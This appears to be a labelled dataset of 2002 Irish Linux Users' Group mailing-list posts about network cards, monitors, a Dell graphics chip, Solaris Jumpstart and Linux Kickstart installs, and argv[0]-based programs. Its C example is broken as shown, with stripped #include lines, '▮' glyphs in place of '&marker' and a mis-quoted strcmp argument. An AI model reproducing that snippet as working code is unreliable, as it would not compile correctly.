many places won't have facilities for you to do that. Um yeah, I suppose that'd be useful info... Western France, La Rochelle area. Test as in test with Linux or just turn on and see that it works? > > Question is: CAn I just plug in _any_ lcd monitor and expect it to work? > > Are there special incantations needed for XFree86 to work. Needless to > > say, it'll be a bit difficult to bring it back to the shop once I'm home > > in Dublin and find it doesn't work! > > Any monitor should just work - they all have VGA connectors and any half > decent brand will be know about by XFree setup programs in modern > distributions. However, if you have the budget (insurance paying for the > dead monitor, perhaps ? - and WHERE was your monitor that it got caught in a Bathroom upstairs, Computer desk downstairs, got dripped into, started clicking rapidly and smoking before it was noticed and unplugged... > flood ?) getting a monitor with a DVI input is best. Of course, you'll need > a DVI out video card then, too. DVI provides a much better picture than VGA I guess that requires something more in the way of budget then... Given that this monitor was serving as the single monitor for 4 boxen (via a 4-way vga KVM switch), I'd be looking at investing in 4 DVI cards along with another KVM to suit while a VGA version _should_ just plug into place. Conor -- Conor Daly Domestic Sysadmin :-) --------------------- Faenor.cod.ie 5:20pm up 72 days, 2:37, 0 users, load average: 0.08, 0.02, 0.01 Hobbiton.cod.ie 5:19pm up 14 days, 23:42, 1 user, load average: 0.01, 0.04, 0.00 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Ronan Cunniffe ,ilug@linux.ie,"Sat, 3 Aug 2002 20:45:44 +0100",Re: [ILUG] Network problems,"Quoting Eamonn Shinners : > Hi guys, > I'm looking for help on this one. I have a server with SME5.5 installed > - used to be e-smith. It's based on RH7.1, has a 3c507 NIC, and is > connected to a hub. Also connected to the hub are a laptop and > workstation, both with RH7.3 . The server supplies DHCP amongst other > things. > The problem is interruptions in the network. If I ping the laptop from > the workstation, or the other way around, there are no problems, i.e. > shows up as 0% loss. If however I ping the server from the laptop or > workstation, it will do a few packets, anywhere from 3 to 20, and then > stop responding, it will start again after a little while. If this is new behaviour in a previously working network, what did you do to it? Test the cables by switching which machine has which. Test the hub ports by switching cables around. Run ifconfig on the server - any errors and what kind they are. Test the network card... by replacing the thing! Seriously, if the server has a PCI slot free, something like a Realtek 8139 based card costs less than 20 euro. The design is a couple of generations later - more memory, less cruft, no *FSCKING* dos config utility, no jumpers on the card and it's PCI. Ronan. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 SoloCDM ,ILUG (Request) ,"Sun, 4 Aug 2002 04:36:11 -0600",[ILUG] One Command -- Four Types,"I tried several ways to force the command ln to create a link with an option attached . . . it wouldn't work. How are there four (/bin/dnsdomainname /bin/domainname /bin/nisdomainname /bin/ypdomainname) different types of hostname links with their own separate options? -- Note: When you reply to this message, please include the mailing list and/or newsgroup address and my email address in To: ********************************************************************* Signed, SoloCDM -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Neary ,ILUG ,"Sun, 4 Aug 2002 13:40:33 +0200",Re: [ILUG] One Command -- Four Types,"SoloCDM wrote: > How are there four (/bin/dnsdomainname /bin/domainname > /bin/nisdomainname /bin/ypdomainname) different types of hostname > links with their own separate options? The program has different behaviour depending on the value of argv[0], probably... here's a simple example... #include #include #include long int add(long int a, long int b) { return a+b; } long int subtract(long int a, long int b) { return a-b; } int main(int argc, char **argv) { long int a, b; /* Operands */ long int (*operation)(long int a, long int b); char *progname, *marker; if(argc != 3) { fprintf(stderr, ""Usage: %s [int1] [int2]\n"", argv[0]); exit(1); } progname = strrchr(argv[0], '/'); if(progname == NULL) progname = argv[0]; else progname ++; /* Skip past the '/' */ if(strcmp(progname, ""add"") == 0) { operation = add; } else if (strcmp(progname, subtract) == 0) { operation = subtract; } else { fprintf(stderr, ""Program called with invalid "" ""name %s. Quitting.\n"", argv[0]); exit(1); } a = strtol(argv[1], ▮, 0); /* Use base 16 for args * starting 0x, and base 8 for * args starting 0 */ if(*marker != '\0') { fprintf(stderr, ""Invalid character %c in argument %s.\n"", *marker, argv[1]); exit(1); } b = strtol(argv[2], ▮, 0); /* Use base 16 for args * starting 0x, and base 8 for * args starting 0 */ if(*marker != '\0') { fprintf(stderr, ""Invalid character %c in argument %s.\n"", *marker, argv[2]); exit(1); } printf(""%ld %c %ld = %ld\n"", a, (operation == add)?'+':'-', b, operation(a, b)); return 0; } Say that's in operation.c, compile it using gcc -ansi -pedantic -Wall -W -O2 -o add operation.c and then ln add subtract and run both, with appropriate arguments. -- David Neary, Marseille, France E-Mail: bolsh@gimp.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 lbedford@lbedford.org,"deedsmis@aculink.net, ilug@linux.ie","Sun, 4 Aug 2002 12:12:01 +0100",Re: [ILUG] One Command -- Four Types,"On Sun, Aug 04, 2002 at 04:36:11AM -0600, SoloCDM wrote: > I tried several ways to force the command ln to create a link with > an option attached . . . it wouldn't work. > > How are there four (/bin/dnsdomainname /bin/domainname > /bin/nisdomainname /bin/ypdomainname) different types of hostname > links with their own separate options? > There's a switch statement in the program on argv[0]. It's not including any options in the link. L. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Albert White ,ilug@linux.ie,"Sun, 4 Aug 2002 13:14:27 +0100",[ILUG] 3c509 & 2.4.19 problems,"Hi folks, I decided to upgrade the kernel on a machine at home from 2.2.18pre21 to the latest from kernel.org which is 2.4.19. However I have encountered one problem, my network card now dosent work, well kind of dosent work... Instead of one eth0 on IRQ 10 I now get: Aug 4 11:31:51 mira kernel: eth0: 3c5x9 at 0x220, 10baseT port, address 00 10 5a 3e 0e 48, IRQ 5. Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html Aug 4 11:31:51 mira kernel: eth1: 3c5x9 at 0x300, 10baseT port, address 00 10 5a be 0e 48, IRQ 10. Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html This results in the interface(s) coming up but while packets can go out they can not come in. I've tried not loading the 3c509 mdule on bootup and then `modload 3c509 IRQ=10` bit it still gets loaded as above, on IRQ 5 and 10. On 2.2 it loads to IRQ 10. Anyone got any suggestions on what to do here? Its a debian 3.0 distro. This works fine when booted to 2.2 so the hardware/BIOS etc seem ok, so it seems to be 2.4 spacific. Have I missed some kernel setting? Cheers, ~Al -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 cout@eircom.net,ilug@linux.ie,"Sun, 4 Aug 2002 18:55:49 +0100",Re: [ILUG] 3c509 & 2.4.19 problems,"You need to run the dos setup program for the 3c509 and turn off plug 'n' play in the card's firmware I think you will find. Bod > > Hi folks, > > I decided to upgrade the kernel on a machine at home from 2.2.18pre21 to the latest from kernel.org which is 2.4.19. > > However I have encountered one problem, my network card now dosent work, well kind of dosent work... > > Instead of one eth0 on IRQ 10 I now get: > Aug 4 11:31:51 mira kernel: eth0: 3c5x9 at 0x220, 10baseT port, address 00 10 5a 3e 0e 48, IRQ 5. > Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com > Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html > Aug 4 11:31:51 mira kernel: eth1: 3c5x9 at 0x300, 10baseT port, address 00 10 5a be 0e 48, IRQ 10. > Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com > Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html > > This results in the interface(s) coming up but while packets can go out they can not come in. > > I've tried not loading the 3c509 mdule on bootup and then `modload 3c509 IRQ=10` bit it still gets loaded as above, on IRQ 5 and 10. On 2.2 it loads to IRQ 10. > > Anyone got any suggestions on what to do here? Its a debian 3.0 distro. This works fine when booted to 2.2 so the hardware/BIOS etc seem ok, so it seems to be 2.4 spacific. Have I missed some kernel setting? > > Cheers, > ~Al > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Sean Rima ,ilug@linux.ie,"Sun, 04 Aug 2002 19:24:23 +0100",Re: [ILUG] 3c509 & 2.4.19 problems,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sun, 4 Aug 2002, Albert White stated: > Hi folks, > > I decided to upgrade the kernel on a machine at home from 2.2.18pre21 > to the latest from kernel.org which is 2.4.19. > > However I have encountered one problem, my network card now dosent > work, well kind of dosent work... > > Instead of one eth0 on IRQ 10 I now get: > Aug 4 11:31:51 mira kernel: eth0: 3c5x9 at 0x220, 10baseT port, > Aug 4 11:31:51 mira kernel: address 00 10 5a 3e 0e 48, IRQ 5. > Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com > Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html > Aug 4 11:31:51 mira kernel: eth1: 3c5x9 at 0x300, 10baseT port, > Aug 4 11:31:51 mira kernel: address 00 10 5a be 0e 48, IRQ 10. > Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com > Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html > > This results in the interface(s) coming up but while packets can go > out they can not come in. > > I've tried not loading the 3c509 mdule on bootup and then `modload > 3c509 IRQ=10` bit it still gets loaded as above, on IRQ 5 and 10. On > 2.2 it loads to IRQ 10. > I have been unable to get the 3c509 to work with 2.4.19 with an IRQ of 10 which works in 2.2.x okay. Can you use anyother irq for it. Sean - -- Sean Rima http://www.tcob1.net Linux User: 231986 Jabber: tcobone@jabber.org THE VIEWS EXPRESSED HERE ARE NOT NECESSARILY THOSE OF MY WIFE. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Use GPG for Secure Mail iD8DBQE9TXFWHMnSWn2nApQRAg9VAKCOMO6oSAD8x6rkTl9QCvcD63vohACgtzPU GWvz7cAuETfHwCouOW0NNIY= =etR9 -----END PGP SIGNATURE----- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,cout@eircom.net,"Sun, 4 Aug 2002 19:34:16 +0100",Re: [ILUG] 3c509 & 2.4.19 problems,"On Sun, Aug 04, 2002 at 06:55:49PM +0100, cout@eircom.net wrote: > You need to run the dos setup program for the 3c509 and turn off plug 'n' play in the card's firmware I think you will find. or you could: a) make your lines less then 80 chars. b) not top-post. c) visit http://www.scyld.com/diag/ and turn off plug and play from a linux setup program. d) all of the above. moron) do none of the above. just a thought... kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Sun, 4 Aug 2002 14:22:43 -0700",Re: [ILUG] 3c509 & 2.4.19 problems,"Quoting cout@eircom.net (cout@eircom.net): > You need to run the dos setup program for the 3c509 and turn off plug > 'n' play in the card's firmware I think you will find. As Kevin said, the problem can reputedly be solved using Donald Becker's Linux-native utilities for the 3C5X9 series. Turn off PnP, and then set the IRQ and I/O base address as required. Make sure those are also made available in the motherboard BIOS Setup program to ""Legacy ISA devices"" or whatever it's called, there. -- Cheers, ""It ain't so much the things we don't know that get us Rick Moen in trouble. It's the things we know that ain't so."" rick@linuxmafia.com -- Artemus Ward (1834-67), U.S. journalist -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 deccy@csn.ul.ie (Declan Houlihan),ilug@linux.ie,"Mon, 5 Aug 2002 23:33:57 +0100",Re: [ILUG] Dell GX260 V Redhat 7.3,"Yea, I tried the VESA driver but it doesn't seem to want to work, it's kinda weird actually, when I run Xconfigurator, the test comes up ok sometimes but when I try to load X it won't come up at all. I read the intel page, I think I'll just throw this on the back burner until intel bring out a driver for this. Thanks for your help though. On Fri, Aug 02, 2002 at 03:19:53AM -0500, Stephen_Reilly@dell.com wrote: > >> I swear to god you have to be so carefull with dell machines > >> and linux. > ... > >> to have some cheapo piece of hardware (eth card, modem, > >> sound, graphics ) > >> that is incompatable/unsupported. > ... > >> with some crap > >> dell machine that > yes, yes, all terribly insightful and extremely useful information. > > > We just got some new Dell GX260 machines here are work and > > I'm supposed to > > be putting Linux on them. I tried installing RedHat 7.3. It > > just didn't want > > to know about the graphics card. I's an onboard Intel DVMT chip. No > > dedicated memory, it takes it from the onboard RAM. > The onboard DVMT card has an Intel 845 G/GL chipset. > http://www.intel.com/support/graphics/linux/ or > http://www.intel.com/support/graphics/intel845g/linux.htm has more specific > information. There is help available there. > > I also found somewhere (not through personal experience though) that > 2.4.19-pre10ac2 includes drivers for the chipset ? > > Steve > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie -- --------------------------------------- Declan Houlihan deccy@csn.ul.ie http://deccy.csn.ul.ie/ --------------------------------------- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 deccy@csn.ul.ie (Declan Houlihan),ilug@linux.ie,"Mon, 5 Aug 2002 23:43:55 +0100",Re: [ILUG] Dell GX260 V Redhat 7.3,"This is the problem, it's not the people who buy the machine that end up installing on it. We're actually investigating switching from Sparc/Solaris to Intel/Linux. I would much prefer to be using Linux at work so I'm pushing for this. It definately doesn't help when you're given a bog standard Dell box and linux won't work with the graphics card on it. At the moment at work, if we want a new workstation, we just buy whatever Sun's latest system is, we jumpstart it, and that's it, it's up and running. Basically the whole installation procedure is ""boot net - install"" This is exactly what you need when you are administering a large group of workstations. You don't have the time to check dells website every time you want to buy a machine, you'd spend your life on Dells website and messing around with drivers and compiling new versions of X. That's fine if you've got one machine at home, hey, I've done it myself, but when working with a large bunch of systems, it's impossible. On Fri, Aug 02, 2002 at 04:02:38AM -0500, Stephen_Reilly@dell.com wrote: > > bad thing. Just a bad thing for those that hope a distro will > > work out of > > the box. > > It's still quite easy to find out, pre-purchase, what components if > any are going to give you problems with a specific distribution/version. > With Dell just check the support.dell.com site, match the system, look for > downloadable drivers. From these if there aren't any linux drivers you can > usually find out the chipset of each device. Plug them into google with > ""linux"" and see what people have to say about them. Generally speaking when > you buy the system you'll be told the make/model of each device rather than > the chipset, so further investigation is necessary. > > The cavaet, of course, is always to know exactly what you're buying. > In most people's cases unfortunately it's not the person who bought the > systems that will be configuring them. > > steve > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie -- --------------------------------------- Declan Houlihan deccy@csn.ul.ie http://deccy.csn.ul.ie/ --------------------------------------- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 5 Aug 2002 16:04:12 -0700",Re: [ILUG] Dell GX260 V Redhat 7.3,"Quoting Declan Houlihan (deccy@csn.ul.ie): > We're actually investigating switching from Sparc/Solaris to > Intel/Linux. I would much prefer to be using Linux at work > so I'm pushing for this. It definately doesn't help when > you're given a bog standard Dell box and linux won't work > with the graphics card on it. (1) Quibble: For values of ""work"" limited to X11, not console support. (2) Decent substitute graphics cards with well-tested XFree86 support are cheap. Swap the problematic one out, and save it for some other workstation later. For that matter, somebody with a Win32 system containing such a card might be ecstatic over the opportunity to swap. (3) Welcome to the Linux world, where we've known for... oh... about eleven years that you fail to research chipsets before installation at your peril. -- Cheers, The difference between common sense and paranoia is that common sense Rick Moen is thinking everyone is out to get you. That's normal; they are. rick@linuxmafia.com Paranoia is thinking they're conspiring. -- J. Kegler -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Hunt, Bryan"" ","""Ilug (E-mail)"" ","Tue, 6 Aug 2002 10:15:58 +0100",[ILUG] nmblookup question,"Hello all, I'm trying to get wins name resolution across subnets working and reckon the first step is to be able to do a nmblookup without using the -B (broadcast address flag). Does anyone know how samba can be configured to do broadcasts to subnets other than just the local subnet. I don't think this has anything to do with the remote announce parameter. Thanks Bryan ""And the smoke of their torment ascendeth up for ever and ever: and they have no rest day nor night, who worship the beast and his image, and whosoever receiveth the mark of his name."" (Revelation 14:11) -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Matthew French"" ","""Declan Houlihan"" , ","Tue, 6 Aug 2002 09:46:27 +0100",[ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"Declan Houlihan mentioned: > We're actually investigating switching from Sparc/Solaris to > Intel/Linux. And then: > At the moment at work, if we want a new workstation, we just > buy whatever Sun's latest system is, we jumpstart it, and > that's it, it's up and running. Well, why not try Linux on Sparc. It works pretty well and I have not had major issues with it. There are minor problems: like the serial console drivers, but for workstation installs I suspect it will work fine. And you get a working version of your favourite KDE/Gnome desktop instead of DTE, uhm, I mean CDE. > Basically the whole installation procedure is > ""boot net - install"" Well, you have to add the workstation to the install server first. Talking of which, you can install Sparc Linux using this technique as well. The image takes a while to load, but once this is done you can install in the normal fashion. SuSe for Sparc works fine. I am using Debian because the Sun boxen I have subverted do not have graphics consoles. It also just works. If you have a spare workstation, I am sure I could burn a couple of CD's for you. (If I can find them.) - Matthew __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Tue, 6 Aug 2002 13:06:57 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"On Tue, Aug 06, 2002 at 12:56:17PM +0100, kevin lyda mentioned: > sorry, i missed this. redhat supplies something similar called kickstart > (guess who inspired them?). pc hardware is dumb, so you'll need to use > a floppy. otoh, every jumpstart config i've seen required rarp plus > plugging the new box's ethernet+ip into a file. a kickstart boot can > just use a dhcp server. I've just been re-aquainted with the Jumpstart stuff after a long absence. There is a nice need 'add_install_client' script that you feed the archtecture, ethernet address & ip to, and it'll setup everything from RARP to Bootparams for you. Very simple. This script takes a -d option, to boot via DHCP also. On the negative side, Sun's terminal handling leaves a lot to be desired - it won't work properly on a Wyse 120+ for instance, no matter what emulation mode the Wyse is trying to do. To do PC netbooting properly, you need an motherbard with a PXE BIOS. Then you are flying. Heh, how hard would it be to get a PC with an OpenBoot prom ? Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,Matthew French ,"Tue, 6 Aug 2002 12:56:17 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"On Tue, Aug 06, 2002 at 09:46:27AM +0100, Matthew French wrote: > Declan Houlihan mentioned: > > We're actually investigating switching from Sparc/Solaris to > > Intel/Linux. > > And then: > > At the moment at work, if we want a new workstation, we just > > buy whatever Sun's latest system is, we jumpstart it, and > > that's it, it's up and running. sorry, i missed this. redhat supplies something similar called kickstart (guess who inspired them?). pc hardware is dumb, so you'll need to use a floppy. otoh, every jumpstart config i've seen required rarp plus plugging the new box's ethernet+ip into a file. a kickstart boot can just use a dhcp server. kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Anders Holm ,"ilug@linux.ie, ilug@linux.ie","Tue, 06 Aug 2002 13:22:07 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"At 13:06 06/08/2002, John P. Looney wrote: >[snip] > There is a nice need 'add_install_client' script that you feed the >archtecture, ethernet address & ip to, and it'll setup everything from >RARP to Bootparams for you. Very simple. Yep, very handy and easy enough. > This script takes a -d option, to boot via DHCP also. On the negative >side, Sun's terminal handling leaves a lot to be desired - it won't work >properly on a Wyse 120+ for instance, no matter what emulation mode the >Wyse is trying to do. True, SUN's terminal handling isn't the best in the world. > To do PC netbooting properly, you need an motherbard with a PXE BIOS. >Then you are flying. OR a network card with a BootRom installed, and BIOS support to boot of the network. > Heh, how hard would it be to get a PC with an OpenBoot prom ? You could burn a PROM yourself, if you'd wish. I believe that the netboot project would have a PROM you could download and burn, having the needed h/w of course.. ;) //Anders// -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Tue, 6 Aug 2002 13:30:23 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"On Tue, Aug 06, 2002 at 01:22:07PM +0100, Anders Holm mentioned: > > Heh, how hard would it be to get a PC with an OpenBoot prom ? > > You could burn a PROM yourself, if you'd wish. I believe that the netboot > project would have a PROM you could download and burn, having the needed > h/w of course.. ;) But the PROMs are for specific network cards, and all their are really is a bootp/tftp client. Not the whole set of nice bits & pieces you get with an OpenBoot PROM. AMD were talking of supporting it ages back, when the Athlon was looking like it would just be on workstations from day one. They seemed to drop it, and go for the crappy MSDOS compatible BIOS though. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Albert White - SUN Ireland ,ilug@linux.ie,"Tue, 06 Aug 2002 13:25:43 +0100",Re: [ILUG] 3c509 & 2.4.19 problems - SUMMARY,"Hi, Thanks for the replies. It turns out that it was an IRQ conflict with an old sound card. Despite checking the BIOS and running the 3c509 setup utility on http://www.scyld.com/diag, the 2.4 kernel still picked a card on IRQ 5 and 10. It works fine now that the sound card is removed, but I'm still confused as to why this worked in 2.2.18 but not 2.4.19, seems like a regression to me... Thanks again, Cheers, ~Al Original question: > Hi folks, > > I decided to upgrade the kernel on a machine at home from 2.2.18pre21 to the latest from kernel.org which is 2.4.19. > > However I have encountered one problem, my network card now dosent work, well kind of dosent work... > > Instead of one eth0 on IRQ 10 I now get: > Aug 4 11:31:51 mira kernel: eth0: 3c5x9 at 0x220, 10baseT port, address 00 10 5a 3e 0e 48, IRQ 5. > Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com > Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html > Aug 4 11:31:51 mira kernel: eth1: 3c5x9 at 0x300, 10baseT port, address 00 10 5a be 0e 48, IRQ 10. > Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com > Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html > > This results in the interface(s) coming up but while packets can go out they can not come in. > > I've tried not loading the 3c509 mdule on bootup and then `modload 3c509 IRQ=10` bit it still gets loaded as above, on IRQ 5 and 10. On 2.2 it loads to IRQ 10. > > Anyone got any suggestions on what to do here? Its a debian 3.0 distro. This works fine when booted to 2.2 so the hardware/BIOS etc seem ok, so it seems to be 2.4 spacific. Have I missed some kernel setting? > > Cheers, > ~Al -- Expressed in this posting are my opinions. They are in no way related to opinions held by my employer, Sun Microsystems. Statements on Sun products included here are not gospel and may be fiction rather than truth. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Tue, 6 Aug 2002 14:03:07 +0100",RE: [ILUG] 3c509 & 2.4.19 problems - SUMMARY,"> It works fine now that the sound card is removed, but I'm still confused > as to > why this worked in 2.2.18 but not 2.4.19, seems like a regression to me... > > Thanks again, > > Cheers, > ~Al Strange. I had the double IRQ problem with the 3c509 combo, and turning pnp off in the card's firware fixed it. As far as I remember the problem I was having was that the driver was assigning an IRQ to the card's RJ45 port and then another IRQ to it's BNC port, and then referenced the card via the second assigned irq, and turning off PnP in the card's firmware fixed that. You must be having a different error Else PnP is still turned on. <> Making sure the IRQ and io space you assign the card in it's firmware is not in use by any other ISA devices. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Anders Holm ,"ilug@linux.ie, ilug@linux.ie","Tue, 06 Aug 2002 13:36:44 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"At 13:30 06/08/2002, John P. Looney wrote: >On Tue, Aug 06, 2002 at 01:22:07PM +0100, Anders Holm mentioned: > > > Heh, how hard would it be to get a PC with an OpenBoot prom ? > > > > You could burn a PROM yourself, if you'd wish. I believe that the netboot > > project would have a PROM you could download and burn, having the needed > > h/w of course.. ;) > > But the PROMs are for specific network cards, and all their are really is >a bootp/tftp client. Not the whole set of nice bits & pieces you get with >an OpenBoot PROM. True, but would still enable you to do a network install without using boot floppies. Then again, boot floppies are cheaper, and easier to recreate when you'd like to do some changes to it. Gets messier when you'd have a boot image on a server, and the only way you can test it is to boot it over the network. In any case, it's just one option available. > AMD were talking of supporting it ages back, when the Athlon was looking >like it would just be on workstations from day one. They seemed to drop >it, and go for the crappy MSDOS compatible BIOS though. Too bad they didn't go with that then. Would have been so much nicer than the old MSDOS crap. I do like the OpenBoot idea actually. Especially being able to set the PROM to boot from whatever disk slice you'd want. No need to set that in lilo/grub any more in that case, since the OpenBoot rom takes care of that part for you. Then again, you wouldn't get a menu that allows you to choose what you want to boot. There's good and bad, all depending on what you want to do, I suppose. Sitting here and typing I'm realising that it is both a nice thing, and a nasty thing.. Ah well, life sucks as well, some say.. ;) //Anders// -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,Albert White - SUN Ireland ,"Tue, 06 Aug 2002 13:52:39 +0100",Re: [ILUG] 3c509 & 2.4.19 problems - SUMMARY,"Albert White - SUN Ireland wrote: > Hi, > > Thanks for the replies. It turns out that it was an IRQ conflict with an old > sound card. > > Despite checking the BIOS and running the 3c509 setup utility on > http://www.scyld.com/diag, the 2.4 kernel still picked a card on IRQ 5 and 10. > > It works fine now that the sound card is removed, but I'm still confused as to > why this worked in 2.2.18 but not 2.4.19, seems like a regression to me... I'm jumping in here since I'm just back on ILUG after quite a long break, anyway... Alan Cox was mentioning that he might have borked some PNP stuff lately. You could try 2.4.19-ac4 to see if it helps. Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Niall Brady ,ilug@linux.ie,"Tue, 06 Aug 2002 14:04:11 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"On Tue, 06 Aug 2002 12:56:17 BST, kevin lyda said: > >sorry, i missed this. redhat supplies something similar called kickstart >(guess who inspired them?). pc hardware is dumb, so you'll need to use >a floppy. otoh, every jumpstart config i've seen required rarp plus >plugging the new box's ethernet+ip into a file. a kickstart boot can >just use a dhcp server. Aye, but it'll still need a /boot/kickstart/$VER/$IP-kickstart won't it to proceed automatically? [or am I completely off track there?] -- Niall -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Albert White - SUN Ireland ,ilug@linux.ie,"Tue, 06 Aug 2002 14:10:03 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"Hi, Matthew French: > Declan Houlihan mentioned: > > We're actually investigating switching from Sparc/Solaris to > > Intel/Linux. Boo hisss *duck* :) > Well, why not try Linux on Sparc. > > And you get a working version of your favourite KDE/Gnome desktop instead of > DTE, uhm, I mean CDE. um.. http://wwws.sun.com/software/star/gnome/ integrated into solaris. Of course then there's http://wwws.sun.com/software/solaris/freeware/ for solaris 9 which gives you afterstep and windowmaker among other stuff. My personal favourite at the moment is enlightenment which also has Solaris packages available for download. > > Basically the whole installation procedure is > > ""boot net - install"" > Talking of which, you can install Sparc Linux using this technique as well. > The image takes a while to load, but once this is done you can install in > the normal fashion. Out of curiosity, does `normal fashion` mean that you still have to do the interactive customisations or is it like Solaris jumpstart where you can specify everything on the install server, do `boot net - install` go home, and come in to a fully installed and patched desktop the next morning? > There are minor problems: like the serial console drivers, but for workstation > installs I suspect it will work fine. I don't see why this should be a _major problem. The prom (ie the ""ok"" prompt) is almost at the hardware level and hence dosent depend on the os so you should be able to connect to that easily enough. Once the machine is installed cant you just log in over the network? The network is the computer after all (sorry couldn't resist!) 